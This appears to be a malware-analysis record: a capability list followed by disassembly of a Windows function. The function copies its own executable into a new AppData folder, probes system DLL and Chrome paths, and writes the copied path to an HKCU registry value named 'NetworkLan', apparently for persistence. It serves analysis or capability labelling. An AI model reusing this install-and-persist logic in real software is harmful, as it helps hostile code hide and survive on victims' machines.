Function at 0x14000ff20
Capabilities:
Copy file
Create directory
Get common file path
Set registry value

Disassembly:
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x10], rdx
push rbp
lea rbp, [rsp - 0x1390]
mov eax, 0x1490
call fcn.140007d80
sub rsp, rax
lea rcx, [rbp + 0x772]
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x770], di
call fcn.1400033f0
lea rcx, [rbp + 0x982]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x980], di
call fcn.1400033f0
lea rcx, [rbp + 0xb92]
xor edx, edx
mov r8d, 0x7fe
mov word [rbp + 0xb90], di
call fcn.1400033f0
lea rdx, [rbp + 0x770]
mov r8d, 0x208
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140010255
lea rax, [rbp + 0x980]
lea edx, [rdi + 0x1a]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x140010255
lea r9, [0x1400237d0]
lea r8, [rbp + 0x980]
lea rdx, str._s_s
lea rcx, [rbp + 0xb90]
mov qword [rsp + 0x14a0], rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0xb90]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rbx, [0x140046860]
lea r9, [0x140047860]
lea r8, [rbp + 0xb90]
lea rdx, str._s_s
mov rcx, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x770]
call fcn.140010270
cmp eax, 1
jne 0x140010057
lea rcx, [rbp + 0x770]
xor r8d, r8d
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rbp + 0x562]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x560], di
call fcn.1400033f0
lea rcx, [rbp + 0x142]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x140], di
call fcn.1400033f0
lea rcx, [rbp + 0x352]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x350], di
call fcn.1400033f0
lea rcx, [rbp + 0x560]
mov edx, pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea rdx, str._system32_shell32.dll
lea rcx, [rbp + 0x560]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rdx, [rbp + 0x560]
mov r8d, eax
call fcn.140014f30
lea rcx, [rbp + 0x140]
mov edx, pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea rdx, str._system32mshtml.dll
lea rcx, [rbp + 0x140]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rdx, [rbp + 0x140]
mov r8d, eax
call fcn.140014f30
lea rcx, [rbp + 0x350]
mov edx, pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea rdx, str._system32ieframe.dll
lea rcx, [rbp + 0x350]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rdx, [rbp + 0x350]
mov r8d, eax
call fcn.140014f30
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], di
call fcn.1400033f0
call fcn.140015930
cmp eax, 2
jne 0x14001017f
lea edx, [rax + 0x24]
jmp 0x14001018c
add eax, 0xfffffffc
cmp eax, 8
ja 0x1400101a4
mov edx, 0x2a
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.GoogleChromeApplicationchrome.dl
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rsp + 0x30]
call fcn.140013e50
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x30]
call fcn.140013e50
lea rax, [rbp + 0x13a8]
lea rdx, [0x140047a70]
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140010237
mov rcx, qword [rbp + 0x13a8]
lea r9d, [rax + 1]
lea rdx, str.NetworkLan
xor r8d, r8d
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x13a8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rbx, qword [rsp + 0x14a0]
mov rdi, qword [rsp + 0x14b0]
add rsp, 0x1490
pop rbp
ret
xor eax, eax
mov rdi, qword [rsp + 0x14b0]
add rsp, 0x1490
pop rbp
ret